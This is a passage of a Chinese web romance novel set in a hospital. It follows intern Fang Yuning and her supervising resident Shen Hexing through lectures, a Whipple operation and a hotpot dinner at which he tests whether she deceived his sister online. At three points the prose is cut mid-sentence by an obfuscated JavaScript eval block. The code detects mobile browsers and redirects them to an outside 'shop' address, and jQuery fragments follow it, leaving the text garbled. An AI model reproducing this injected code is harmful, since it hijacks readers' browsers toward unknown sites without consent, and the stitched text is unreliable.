“挺好的,老师对我很好,师兄人也很好。”
旁边贺弥她们发出“桀桀桀”的怪笑,方寓宁白了她们一眼:“我现在在肝胆外科,下一个科室去胃肠外,对了,师兄好像就是胃肠外的,他今天还请我吃饭了。”
赵月欣好奇道:“为什么请你吃饭?”
方寓宁絮絮叨叨地给她讲了原委,赵月欣感叹道:“我们以前实习的时候哪儿有这种待遇,做得好是你应该的,没做好就是你的错,成天挨老师骂,你们现在就是太幸福了。”
方寓宁垂下眼眸:“怎么感觉你好像很希望我挨骂似的。”
赵月欣一口否认:“我哪里有?再说了,社会本来就是这样的,你以为以后你出来工作上级还会说你工作做得好?不可能!他只会说你哪儿又没做对,又给他造成了多大多大的损失。”
“我知道……”方寓宁不想再跟她谈这个问题,“瑶瑶决定去哪儿上学了吗?”
说到这,赵月欣长叹一口气:“决定了,就去离我们最近的那个学校,托人找关系花了十万,总算通过考核进去了。”
方寓宁惊讶:“现在小学生上学都有考核了?”
“是啊,终于解决了一桩大事,那个学校早中晚餐都会准备,老师每顿饭都会拍给我们看吃了什么,不存在拿差的食材敷衍的情况,倒是给我们省了很多麻烦。”
今天晚上才和沈赫行讲过她小学食堂的问题,赵月欣这么一说,方寓宁实在忍不住将她和方寓瑶的待遇拿出来对比一番。
不过她到底没表现出来,只是说道:“听上去还不错。”
挂断视频,方寓宁找出病历纸来写病历。
甘纯溪坐到她桌边:“这么早就写这玩意儿干嘛?直接打印一份来抄呗。”
方寓宁看向她:“师兄要给我批改,我抄个病历过去像样吗?”
甘纯溪吸了一口青提味果冻:“你师兄管这么严啊?”
她们早就了解过,实习期间虽说规定一周写一份病例,但并不会每个学生都交上去检查,而是实习结束再统一抽查。
而且一般来讲,带教老师都不会给自己找事管这个,所以很多学生都是直接抄现成的,更有甚者写都不写,赌的就是抽不到自己头上。
方寓宁也不确定沈赫行现在究竟是个什么态度:“应该……吧?反正他应该是不会提前放我下班的,我就在病区规规矩矩待着吧。”
宿舍其他人听了,均是“啧啧”两声。
虽然沈赫行长得好看,她们也乐意开开方寓宁和他的玩笑,但孰轻孰重她们还是分得清楚。
方寓宁要考研,半个月被困在病区,那得浪费多少复习时间啊。
管得这么严,师兄长得再好看有什么用?男人还能有前途重要?
.
“大家还有什么问题吗?没有的话,我们就下课。”沈赫行讲完课,站在讲台宣布道。
大家纷纷摇头,讲课就此结
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640724|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
束,众人陆陆续续往示教室外走。
毕竟是实习以来第一堂课,人基本上到齐了,前三排木制座椅上全都坐满了人,等他们离开需要好长一段时间。
沈赫行翻了翻签到表,随着动作,白大褂下的白皙手腕时不时露出,青色的血管在上面格外明显。
沈赫行问:“怎么全是五年制的同学?八年制的呢?”
方寓宁:“他们有门考试延期了,要晚两周来。”
沈赫行微微点头:“回办公室吧。”
一到办公室,隔壁马上有护士过来:“沈赫行你改一下医嘱。”
“等等,”沈赫行迅速点开医嘱界面,“改好了。”
旁边丁德行支过脑袋来:“沈赫行你喝不喝咖啡?我们组负责的病人家属说我们医生辛苦了,大中午去买了十几杯咖啡。”
“喝,”他转过来问方寓宁,“你要喝吗?”
“我可以喝吗?”方寓宁挠挠脸颊,有些受宠若惊。
办公室里常常有水果奶茶之类的食物,但方寓宁只是个实习生,不敢拿。
“当然可以,你也是医生啊。”沈赫行抬眼看她,一只手理了理白大褂衣领。
丁德行笑着说:“你都请他吃饭了,他要是连杯咖啡都不给你喝,也太说不过去了吧。”
孟科刚进办公室就听到这句话,他语气惊异:“什么?师妹你居然请吃饭不带我?”
办公室另外几个医生起哄道:“你看看人沈赫行,再看看你,你有让人请吃饭的资本吗你?”
“哈哈哈哈哈……”
方寓宁脸一下子热起来,呈现出水蜜桃似的粉红。
她给沈赫行买早饭只是是觉得他的行为很值得尊重,为什么到这群人嘴里就变得跟她别有用心似的?!
沈赫行扫了眼他们:“你们别说得我好像个吃白食的行吗?”
那些人笑得更厉害了:“别担心沈赫行,看看咱们师妹,你不吃亏!”
这话听得方寓宁忍不住蹙眉,沈赫行余光看见,启唇道:“你们就把我贬得这么低,只值一顿早饭钱?”
一句“早饭钱”,顿时把他们调侃出来的暧昧氛围扫得烟消云散。
毕竟男女之间,通常都是约晚饭,最次也是午饭,从来没听说过约早饭的。
“不不不,沈赫行,你这样的在日本,一晚上高低得开十几个香槟塔!”
话题被沈赫行不动声色地揽过去,别人说一句他怼一句,应付得很是从容。
等他们玩笑开得差不多,丁德行出来说道:“咖啡放在值班室,你俩快去拿吧。”
沈赫行站起身:“跟我来。”
方寓宁赶紧跟在他后面走出去。
到了值班室,沈赫行翻了翻纸质的咖啡袋子:“有美式,还有拿铁,你要什么?”
方寓宁:“要拿铁吧,我喜欢喝有奶味的。”
沈赫行挑了一杯拿铁,插上吸管递给她,自己则选了杯美式。
方寓宁喝着拿铁,悄悄抬眼观察沈赫行。
这家咖啡店的杯子做得特别小,在他手里跟个玩具似的,他一边面不改色地咽下苦涩的黑咖,一边漫不经心地划着手机屏幕,整个人呈现出一种慵懒随性的感觉。
“师兄,刚刚谢谢你。”方寓宁双手捧着咖啡杯,语气略微紧张。
沈赫行白大褂里面穿着深绿色的洗手衣,领口恰到好处地露出锁骨:“小事,那群人老油条,开玩笑没轻没重的。”
上午刚做完手术就赶过来上课,沈赫行觉得有些累。
他换了个姿势靠墙站,长腿抵在地上,瞧了方寓宁一眼:“脸皮还挺薄。”
8. 第 8 章
他这个评价,到也算正确。
方寓宁指尖敲了敲杯身,发出“嗒嗒”的声音:“……也不是,我就是和他们不太熟,像我室友,大家都比较熟了,她们就算开这种玩笑我都觉得无所谓的。”
沈赫行点头,心中解读,哦,看来她室友也和她开过这种玩笑。
医生不仅吃饭快,喝奶茶咖啡这些饮品也很快,没一会儿两人就空杯,再次回到办公室。
今天是周五,需要排下周一的手术。
沈赫行看了下安排,问方寓宁:“下周一有一台whipple,你想去吗?”
方寓宁心想还有我想不想去的说法呢,这不都是看你安排吗?
还没想好怎么回答,丁德行就跳出来道:“慎重啊师妹!”
见她表情疑惑,丁德行接着劝退:“要切胃、胆囊胆总管、十二指肠还有胰腺,再做胃肠吻合胆肠吻合胰肠吻合,这个工作量有多大不用我多说了吧?”
沈赫行点头:“对,时间确实很长。”
方寓宁认真考虑了下,外科书上很多癌症都讲到用whipple手术,这项手术被称为腹部手术的难度巅峰,去见识见识也蛮不错的。
她回道:“去吧。”
“那行,我把你的名字写上去。”沈赫行点开手术安排的界面,输入方寓宁的名字。
后面还有一个方框需要填工号,方寓宁正想给他念,却见沈赫行连个停顿都没有,就把她的工号给输上去了。
方寓宁愣了下,偏了偏头看向沈赫行,沈赫行也正好转过脸来。
他目光沉沉,仿佛只是做了件稀松平常的事:“你来看看,有没有写错的地方?”
方寓宁仔细检查了一遍:“对的,没写错,师兄你记性真好。”
她心下暗暗叹服,她也就改工号密码的时候跟沈赫行念了一遍,没想到他居然就记下来了。
方寓宁头发很长,在医院上班都扎的马尾,俯身看电脑时有几簇发丝扫到沈赫行脖子上。
沈赫行有些痒,伸手抓了抓:“还行吧,只要用心什么都能记住。”
方寓宁一愣,也是,沈赫行带她打游戏的时候也这样。
那个时候她什么都不懂,种的食物采的草药都一通乱吃,后来还是沈赫行一样一样给她掰扯清楚。
哪种食物吃了可以增加防御,哪种草药吃了可以增加血条,以及哪个副本有个什么坑需要注意一下。
整个游戏,就没有他不了解的地方,当时方寓宁还感慨他怎么就能知道这么多东西,现在想来,应当也是用心这两个字。
她悄悄用余光偷看沈赫行操作病历系统,只见他左手轻轻搭在键盘上,时不时速度飞快地敲下几个按键,动作十分娴熟。
可是,不知道为什么,方寓宁觉得,沈赫行这副姿态放到医院办公室很合适,可一放到游戏里,总感觉有些违和。
或许,是那身制服的原因吧。
沈赫行看完其他床病人新的检查报告,嘱咐方寓宁:“35床是新入院的病人,你去问一下他的病史。”
坐了这么会儿,终于来活了。
方寓宁站起身:“好的师兄。”
35床是个胆囊结石的患者,姓杨,方寓宁进病房的时候他还没有换病号服,看上去是个体面的老先生。
方寓宁从白大褂口袋里抽出笔,将打印过的废纸叠了两次,白的那一面对着自己,准备用来记东西。
“杨先生你好,我来问一下你的病史,你这次是因为哪里不舒服来医院啊?”
杨先生:“&%@#¥$……”
方寓宁:“???”
方寓宁茫然地眨了眨眼睛:“不好意思你能说普通话吗?我不是江城人。”
杨先生又叽里呱啦了一通,方寓宁好歹在江城待了四年,至少能判断出,眼前这位老先生,也不是江城人。
方寓宁:“……”
这该怎么问啊。
她折回办公室说道:“师兄,35床那个病人说话我听不懂。”
“听不懂?你等等,”沈赫行点开35床的门诊记录看了眼,“走吧,我们一起过去。”
“好。”
方寓宁本以为沈赫行要凭借临床经验来猜老先生的方言,没想到一进病房,沈赫行竟然直接开始用英语问杨先生的病史。
语音流畅,毫无卡顿,整个人充满理性的气质,令人忍不住跟着他的声音去思考。
方寓宁愣神片刻,赶紧拿笔记录,江医大有很多门课是双语教学,她以前也选修过医学英语,连蒙带猜也能理解一些。
阳光从窗外透进来,除了沈赫行和杨先生的交谈声,病房内一片安静,所有患者和家属不约而同地停下手中的事,伸长耳朵,试图理解他们到底在说些什么。
良久,沈赫行结束病史采集,他问道:“记下来没有?”
方寓宁把记病史的纸给他看,沈赫行点头:“可以,差不多都写全了,你把老先生吃的药拍下来。”
拍照的时候,杨先生指了指沈赫行,竖了个大拇指。
方寓宁笑着点点头,替他把药盒收拾好才离开。
回到办公室,方寓宁问:“师兄,你怎么知道那位老先生听得懂英文的?”
沈赫行靠在椅背上,指关节轻敲电脑屏幕,声音徐徐。
“他门诊记录里有写他在加拿大就过诊,有些几十年前受过高等教育的老年人是这样,英文说得比普通话还好。”
方寓宁表示涨见识了:“这样啊……”
突然,沈赫行的手机亮起,紧接着便是默认来电提示。
沈赫行按下接听键:“喂李老师,我马上过来。”
他起身往外走:“我要去手术室了,你把杨先生的病历写好,我之后回来检查,到时候跟你说有哪些需要改。”
“好,那个,师兄。”
沈赫行站在门口,回首看她:“什么事?”
方寓宁斟酌了下措辞:“你……周末上班吗?”
她本来想问的是她周末需不需要上班,可问得太直白的话,就好像她在要假期。
实习宣讲的时候老师说了,这是明令禁止的行为。
所以她改为问沈赫行周末上不上班,毕竟他是她小带教,她的工作时间也跟着他走。
沈赫行:“周六上,周日不上,怎么了?”
方寓宁一下子泄了气:“没什么。”
行吧,双休没有了。
沈赫行虽然不明白为什么方寓宁突然失落,但他也没时间去弄清楚这个了。
他转身离开,迅速去了三号楼。
沈赫行走后,方寓宁就规规矩矩坐在那儿写病历,写完以后她没事干,便打开医考帮做题。
“师妹,你还不走啊。”丁德行端着自己的保温杯,喝了一口后满足地叹气。
方寓宁看着他,眼内满是迷惑。
大夏天的,还用保温杯喝水?
丁德行见状把杯子递给她看:“哈哈,里面是冰可乐,没想到吧!”
方寓宁:“……”
她指了指电脑屏幕:“师兄说等他回来改病历。”
“等他回来?”丁德行夸张地瞪大眼睛,“他们今天还有三台手术,起码做到晚上八点!你要等他到那个时候?”
方寓宁也不想啊,她说道:“可是他说让我写好病历,他之后回来改。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640725|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
丁德行语重心长道:“师妹啊,他说的‘之后’,就是他有空的时候,你搞错了,事情做完就回去吧。”
方寓宁依旧摇头:“不行,他没让我走,我还是等五点下班吧。”
丁德行眉毛纠起:“诶你这小姑娘怎么这么轴呢!”
方寓宁可不管他觉得自己轴不轴,科教科会不定时查岗,除非带教给作证,不然不在就视为逃班,三次逃班增加实习三个月,五次逃班增加半年。
她可不敢赌沈赫行会不会护着她,不走就不走吧,待办公室学习效率是低了点,但也算学了不是嘛。
“对了师兄,我可以问你个问题吗?”方寓宁道。
丁德行洗耳恭听:“你说。”
方寓宁重新点开HIS系统,她用的这台电脑的系统名称被人改成了“双击开始做奴.隶”,每次看到她都忍不住想笑。
“我记得以前老师讲过,说病历里不能出现具体时间,可为什么我看了你们写的好多份病历,里面全是具体时间呢?”
按照病历书写的格式,他们只能写“x年前”、“x月前”或“x天前”病人出现什么样的症状或确诊了什么样的疾病。
但是这几天,方寓宁发现好多人写的都是“xx年xx月xx日”之类的具体时间,这样的病历,在学校是会被老师打回去重写的。
丁德行理所当然道:“哦,那是因为我们外科病历写得都烂。”
方寓宁:“……”
真是无懈可击的理由。
她点开沈赫行写的病历:“沈师兄就不这样写。”
丁德行说道:“你沈师兄可是张院长教出来,言传身教,当然写得好咯!”
说完,他仔细看了看方寓宁的脸,然后点点头:“嗯,不错,你俩还挺像的。”
方寓宁:“?”
这不能吧……
且不说他们的长相都极具性别特征,就说风格吧。
她一直被室友说长得偏甜,这点她也承认,可沈赫行,那是标准的冷系男人啊!
丁德行一摆手:“我不是说外表,我是说你们这股劲儿像!都挺轴!”
“就说写病历这事儿吧,咱们外科写那么好干嘛?又不多发工资!可是他就不,不管多忙都写得漂漂亮亮的,人家内科的过来会诊都说赏心悦目。”
丁德行摸着下巴,回忆起往事:“嗨,反正他这人,挺让人佩服的,真的。”
方寓宁眨眨眼,听他的语气,沈赫行似乎以前干过什么惊天动地的事情似的。
不过这种事肯定不会让她知道,所以她也选择了不问。
晚上,沈赫行下班,回到值班室挂白大褂,刚好碰到丁德行。
“你今天值班?”
“是啊,”丁德行理干净床铺,“诶,你以后给人家小姑娘下达指令的时候说清楚点。”
他把今天下午的事告诉沈赫行:“……小姑娘实诚得很,你没说写完病历就可以走,人家硬是在办公室坐到五点才下班。”
沈赫行:“……我知道了。”
他能感觉得出来方寓宁有些怕他,但他也没想到方寓宁这么听话,他以前也带过实习生,这些小朋友都是自己给自己下班,做完事马上走,好些招呼都不带打的。
不过确实,这一周来方寓宁都表现得格外循规蹈矩,他走到哪儿她就跟到哪儿,特别认真。
思及到此,沈赫行心中浮上一层疑惑。
方寓宁现实生活中的性格,和她在网上表现出来的性格,实在相去甚远。
他很是想不通,一个人在网上伪装出另外一种人格,说些轻浮的言语骗人谈恋爱,真的可以收获那么大的乐趣吗?
9. 第 9 章
周六下班,沈赫行去了他爸妈那边。
晚饭期间,沈明问黄佳莉:“你今年要招几个学生?”
黄佳莉:“两个,目前已经有一个人在联系我了。”
她看向沈赫行:“你带的那个同学真的不打算学妇产科吗?我看她人挺不错的。”
沈明好奇道:“你带的实习生吗?”
沈赫行:“嗯,做事情很认真。”
至于其他方面,先不予评价。
黄佳莉:“这就够了,我们选学生,主要看眼缘,复试就那么点儿时间,能了解一个人多少?你带的那个小朋友,我一看面相就知道是个聪明乖巧的姑娘。”
她说到姑娘两个字时,沈赫行扫了一眼沈赫言。
沈赫言:“……”
加速扒饭。
晚饭过后,沈赫行进了房间,沈赫言敲了敲他的门,紧随他进去。
“哥……”沈赫言讨好地看着他,“你带的实习生最近怎么样啊?”
沈赫行房间全是冷色调,深灰的床单浅灰的衣柜,也就棕色的地板鲜亮点。
他从衣柜里取下一件白色T恤:“上班守时工作认真,你问这个做什么?”
沈赫言咽了口唾沫,她是来替宁小方说好话的,她人这么好,不应该被她哥认为私德有亏。
“唉……其实她人挺可怜的,她家里小时候条件不好,她爸妈就把她放在外婆那儿养大,而且她家里人脾气也不太好,日子过得挺不容易的……”
沈赫言开始打感情牌,试图激起沈赫行的怜悯之心。
“所以你就对她产生了怜惜,从而坠入爱河,连她是男是女都分辨不清楚?”沈赫行不为所动。
作为哥哥,沈赫行很清楚自家妹妹是个彻头彻尾的异性恋。
不过他毕竟工作好几年,接触的又是社会上形形色色的人。
所以当时一看到她和她网恋对象的聊天记录,他就敏锐地察觉到,对方皮下就是个女生。
这下对方的目的就变得扑朔迷离起来,一个女生,伪装成男人和一个异性恋的女生谈恋爱,无论从哪方面看,都处处透着不合理。
沈赫言:“……”
她男朋友是个铁打的男人!
沈赫行问:“你们交换过照片吗?”
沈赫言回答:“没有。”
其实交往前,她男朋友有提出过看照片,但她觉得一旦这么做,一份感情就会因此变了味,所以拒绝了。
任何一个女生,都不会愿意异性因为外貌的变化而改变对自己的态度。
沈赫行拿上衣服裤子往浴室走,临关门前扔下一句——
“连对方什么样子都不清楚,就爱得死去活来的。”
语气中隐隐有几分嘲讽。
沈赫言:“……”
行行行!你永远冷静自持不会为爱情迷了双眼!
你了不起!
.
周一早上,方寓宁来得早,她先占了台电脑看引流量和检查,看完之后便让了出来。
下一个坐上去的是个二组的师兄,他跟旁边另一个同是二组的医生在那儿吐槽一个患者。
“8床那个老太太好搞笑,昨天我收他们入院,她硬是要往我兜里抓一把花生,我真是服了,上面还有泥没洗干净。”
“后来呢?你要没要?”
“当然没要,我刚洗的白大褂!他们家一副没见过世面的样子,来住院带了两大袋子红枣和花生,说吃了补气血。”
“不至于吧?我看他们家条件不错啊,那老太太金戒指金项链什么都戴在身上。”
“有些农村家庭就是这样,人不穷,思想穷啊!”
方寓宁听得有点不舒服,瞥他们一眼便走了出去。
她想,原来并不是每一个医生都能像沈赫行那样,平等且尊重地对待每一位患者。
和上周一样,等组里人一到齐,他们就匆匆查了遍房,然后一起去手术室。
如丁德行一开始的预警,这台手术真的很长长长长,一上午过去,他们才把病变组织取下来。
李启东放松地“唉呀”一声:“好了,送冰冻,我们先去吃饭。”
在护士扯着嗓子喊“送病理”的同时,麻醉医生死亡凝视:“你们最好快点吃完回来。”
不同于外科医生可以利用这个间隙去吃饭,他们麻醉可是要一直守在病人身边的。
李启东哈哈两声:“你得让病理科那边快点,就算我们回来了,冰冻结果没出来也不能继续做啊。”
吃饭的时候他们是分开的,李启东去和别的副高一起吃,方寓宁和沈赫行一起吃。
这样反倒还自在些,和领导一起吃饭,压力多大啊。
他们进食的速度依旧很快,回到手术室后,冰冻病理的结果还没有出来,因此他们还可以休息一会儿。
手术室里总共三个圆凳,一个麻醉医生的,一个巡回护士的,一个器械护士的。
并没有外科医生的份。
沈赫行去柜子里搬来两个踏脚凳,并排放下,然后坐了上去。
他的腿很长,一条屈起,一条伸直,整个人的气质和手术室内机械质感的冷硬氛围相得益彰。
他看方寓宁还站着,拍了拍旁边的凳面:“坐啊。”
“噢……好……”方寓宁走到他身边,坐下的过程中不小心窥见沈赫行的手机屏幕。
原来他在看PubMed上的文献。
方寓宁也摸出手机来做题,做着做着人就开始犯困,于是她熄掉屏幕,抱着膝盖小眠。
不知过了多久,方寓宁感觉有人在拍自己肩膀。
她眼睛眯开一条缝,看见沈赫行站在自己面前。
“起来做手术了。”
方寓宁声音还带着软绵绵的困意,她试图让自己利索起来:“来了师兄。”
一站起身,方寓宁感觉自己脚都在发飘,她摇了摇脑袋,跟在沈赫行后面出去洗手。
幸亏水足够凉,一淋下来人都精神不少,方寓宁睁大眼睛,一丝不苟地用刷子刷干净指缝。
沈赫行瞧见她认真的神色,想起刚刚器械护士和麻醉医生的话。
她们在说,她好可爱,缩成一团的样子好像一只小动物。
沈赫行面无表情地用擦手巾擦干水,心中暗暗点评。
她们说得很对。
再次站到手术台上,李启东问:“小方感觉怎么样?累了可以休息一会儿啊。”
方寓宁笑着说:“没事李老师,我刚刚已经休息过了。”
李启东跟旁边的沈赫行说:“我们小方好认真啊,好久没看到过上手术这么积极的同学了。”
方寓宁心说我也不是特别积极,沈赫行仿佛看穿她的想法。
“你已经算是很积极的了,以前有很多同学,查完房我就再也没看到过人了。”
方寓宁心说,我那不是不敢溜嘛!
李启东在沈赫行肩膀上蹭了下眼镜:“小沈,这个吻合你来做。”
“好。”
沈赫行双手放在胸前,背着方寓宁绕了一圈,换到李启东原来站的位置上去。
李启东让沈赫行和方寓宁打配合,他在旁边指导。
器械护士给他们准备了十来把文氏钳,沈赫行每缝一针,方寓宁就用钳子把线头夹住。
最后那十几把文氏钳全部用上,几十根线看得人眼花缭乱。
“诶对,这根和这根打结,这根……嘶,这根对应的是哪根线来着?”
“这根线。”沈赫行精准地拎出相对应的手术缝线,打结的动作赏心悦目,让人觉得看他做手术是一种享受。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640726|156413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
李启东见了,使劲眨了下眼睛:“还是年轻人眼神好啊,手术室应该准备些颜色不同的线,看起来好区分一些。我以前就跟他们说过了,他们也不管。”
麻醉医生一起吐槽:“唉,现在的东西都越来越不好用了,你看这个肌松,打了得过好久才起效,作用下去得也慢,醒病人得醒好久。”
方寓宁本来很喜欢在手术台上听八卦闲聊的,此时却没心情顾得上这些。
她专注着辅助沈赫行,生怕自己哪里没做好拖了后腿。
时间一点一滴过去,大概过了一个小时,沈赫行的吻合做完了。
李启东竖了个大拇指:“可以,活儿干得漂亮,不愧是张院长教出来的,接下来换我,咱们争取六点结束。”
可惜老天今天似乎不想让他们早点下班,旁边有个手术室出了点问题,隔一会儿就过来请李启东去帮忙。
这种情况没办法拒绝,他过去帮忙的间隙就由沈赫行和孟科顶上,几个人一刻不停,终于在七点半把手术做完了。
“呼……”方寓宁脱下手术衣和乳胶手套,用力抻了抻腰。
李启东在群里发了个红包:“今天大家都辛苦了,我等会儿还要跟一个老同学聚一聚,你俩带着小朋友一起出去吃个饭吧。”
孟科活动了下僵硬的脖子:“我老婆催我回家呢,我也不去了,你们去吃吧。”
“行。”沈赫行道。
他们先回了值班室,挂好白大褂,沈赫行今天穿了一件宽松白色衬衣,平日里的熟男气质减弱几分,增添了一些少年感。
他一面划着手机屏幕,一面问道:“小朋友,想吃什么?今天李老师请客。”
别人叫她小朋友也就算了,沈赫行这么叫……
总觉得,带给人的感觉不太一样。
“吃什么?”沈赫行又问了一遍。
方寓宁肩膀沉了沉,既然是老师请,她就不客气了。
“师兄你能吃辣吗?”
沈赫行道:“能,我算是比较能吃辣的人。”
方寓宁:“那我们去吃火锅吧,学校旁边那家火锅店味道还不错。”
沈赫行:“可以。”
工作日不比周末,来吃火锅不用排队,他们点完菜后李启东发的红包还有剩余,沈赫行又点了两杯奶茶,总算把钱用完了。
红彤彤的锅底端上来,里面的油还没化开。
“哥?”
一声不确定的女声,沈赫行回头,发现沈赫言就站在门口。
“你今天没上晚自习?”
沈赫言:“……”
为什么每次一碰到,你就要问关于学习的事?!
“我今天期末考,晚自习只用上两节。”
她看向旁边的女孩,试探道:“这位是?”
沈赫行掀了掀眼皮:“我带的实习同学。”
果然!她的直觉没错!
这就是宁小方!
她热情地坐到方寓宁旁边:“姐姐你好,我是我哥哥的妹妹。”
我哥哥的妹妹……这个介绍听起来有点奇怪。
不过,方寓宁还是笑着和她打招呼:“妹妹你好呀。”
沈赫行:“……”
你口中的妹妹,就是你骗到手的网恋对象。
方寓宁提议道:“你要不要一起吃?我们点的菜比较多。”
不顾沈赫行警告的眼神,沈赫言一口答应:“好呀好呀。”
她取下书包:“我先去上个厕所!”
方寓宁目送她去洗手间,回过头来发现沈赫行周身的气压低了许多。
他抬起眼,唇线紧绷,下颌线流畅锋利,仿佛一把冰刃,散发着寒意。
方寓宁不动声色地将椅子移远了些,她本能地感觉到,此刻的沈赫行,比以往危险。
10. 第 10 章
沈赫行很重视亲情,为了家人,他可以用最大的恶意来揣测外人。
方寓宁利用网恋骗沈赫言,最差的情况无非就两种。
一是骗人,二是骗钱。
他收起身上的戾气,不着痕迹地打探道:“你为什么会选择学医?”
方寓宁不知道他为什么突然问这个,但他刚刚的样子实在吓人,所以她很快就说了实话。
“我爸爸是医生,我妈妈以前也是医生,他们觉得干这个稳定,所以让我也学这个。”方寓宁缓缓道。
沈赫行略一点头,既然如此,家庭情况应该不错,不存在骗钱的可能。
至于骗人……
他紧紧盯着方寓宁的双眸,逼她直视自己:“我还有一个问题。”
他的视线太有攻击性,方寓宁避无可避:“……你问。”
“你喜欢女生吗?”
方寓宁瞳孔骤然收缩:“这……”
沈赫行危险地眯起眼睛。
方寓宁表情先是慌乱了下,而后很快平复,她将手臂放在桌上,手微微握成拳。
紧接着,她慢慢叹声气,胸廓随之起伏。
她尽量以平静的语气说道:“师兄,先说在前面,我不歧视同性恋,但是,我喜欢的是异性。”
沈赫行手指搭在火锅店的玻璃杯上,轻轻转了转。
“为什么要加一个前缀。”
方寓宁此刻已经冷静下来:“因为我被你吓到了。”
沈赫行对她这句话不置可否。
方寓宁解释道:“如果不加那句话,我语气那么激烈,说出来的话会很重,听起来就像我觉得同性恋这个身份很丢人,很迫不及待想跟他们划清界限似的。”
沈赫行脸上闪过一抹意外,方寓宁接着说道:“这就跟我天天被38床的患者叫护士一样,孟师兄跟我说,他们下次再那样叫我,我就凶他们一次,这样他们就能记住得叫我医生了。”
“可是我觉得不能这样,如果我很凶地告诉他们‘我不是护士!是医生!’这样听上去,就仿佛护士是个低医生一等的职业,我被这样叫就是被降低了身份一样。”
说到这里,她勉强地笑了下:“我总是想得很多,明明只是一件很简单的事情……你是不是觉得我挺傻的?”
沈赫行收起了全部戒备,他垂着眼,修长手指点了点桌子。
“不傻。”
他只觉得震惊,方寓宁对情绪的感知与解读,居然能到如此细腻的程度。
方寓宁抿了下唇,忍不住问道:“师兄,那你之前那样说,是不是因为以为我是……”
后三个字她没说出来,沈赫行抬眸看她:“我也不歧视同性恋。”
他只是怕沈赫言不懂事,被骗受伤害。
他换了个坐姿,深深吸了一口气,表情复杂:“以后好好学习,别欺骗人的感情。”
方寓宁:“……嗯?哦……”
她有点没懂沈赫行的意思,但她现在脑子混乱得很,来不及细思。
“我回来啦。”沈赫言朝他们这边走来。
由于沈赫行刚刚问了那些个问题,方寓宁感到有些尴尬,她往前坐了点,从背后拿出书包,放在了旁边的椅子上。
沈赫言过来一看,只好坐到了沈赫行身边。
他们点的奶茶也来了,沈赫行插上吸管,分别递给了方寓宁和沈赫言。
方寓宁这顿饭吃得不是滋味,但沈赫言这人神经大条,也没发现什么不对劲,还以为她只是害羞。
吃完饭,沈赫行结了账,三人就此分别。
回家路上,沈赫言问沈赫行:“哥,你是不是也觉得姐姐挺可爱的。”
沈赫行瞟她:“你们之前还网恋过。”
沈赫言一噎:“那我……我把对她的喜欢转化成友情不行啊?!”
沈赫行冷哼一声:“走,我送你回去。”
.
回到宿舍,贺弥扇了扇空气闻味儿:“好大一股火锅味,宁宁你和谁去吃火锅了?”
方寓宁回道:“和师兄。”
眼看着她们要起哄,方寓宁赶紧补充,她现在是真听不得她们开她和沈赫行的玩笑。
“主任请的,他发了红包就和老同学聚餐去了,另一个师兄也回家陪老婆了,所以只有我和师兄,后来还遇到她妹妹,我们三个人一起吃的。”
“哦……嗨,应该请你们吃的,你今天这么辛苦。”贺弥道。
甘纯溪跑过来说:“我跟我朋友说我们有个师兄特别帅,她们不信,宁宁你看你师兄的朋友圈有没有照片,发一张给我。”
怎么又是沈赫行……
方寓宁表情微凝:“我不知道,我还没看过他朋友圈呢。”
她拿出手机打开微信,点出沈赫行的朋友圈从上往下翻,寝室里另外三个脑袋也凑过来一起看。
沈赫行的朋友圈就两个字可以形容:无聊。
不是分享的胃肠肿瘤领域的新发现,就是医院公众号发的新的治疗技术,往下翻了好久,才有一条和他生活相关的朋友圈,而且这条朋友圈还是——
“终于下班了,又是三号楼最后一间关灯的手术室。”
配了一张凌晨两点的时间照片。
贺弥沉默了下,说道:“不错,你师兄是个好男人。”
方寓宁蹙眉,眼内浮现出不解:“嗯?难道光看一个人的朋友圈,就可以判断出来他是不是个好男人吗?”
贺弥振振有词:“不能说百分之百是个好男人,至少是渣男的可能性小了很多。你看你师兄长这么好看,居然连一张自拍都不发,平时发的东西又这么……简朴,至少说明他没在美化自己这方面花过心思呀!”
谷小萱和甘纯溪赞同地点点头:“没错,你看我们班上那个海王,朋友圈搞得花里胡哨的,一会儿是侧脸自拍一会儿是又学会了道新菜,一副岁月静好的样子,背地里女朋友都不知道换多少个了,像他那种就不行。”
方寓宁想了想:“好吧,你们说得有道理。”
她又开始看手机,忽的瞪大眼睛,倒吸一口冷气:“啊——”
“怎么了?”
方寓宁欲哭无泪:“我居然给他点了个赞,完蛋了完蛋了,那条朋友圈都去年的了,好尴尬啊。”
“你马上取消呀!”甘纯溪着急道。
“那要是她师兄刚好在这段时间看到她的点赞消息,后来又发现点赞不见了,那岂不是更尴尬?”谷小萱又说。
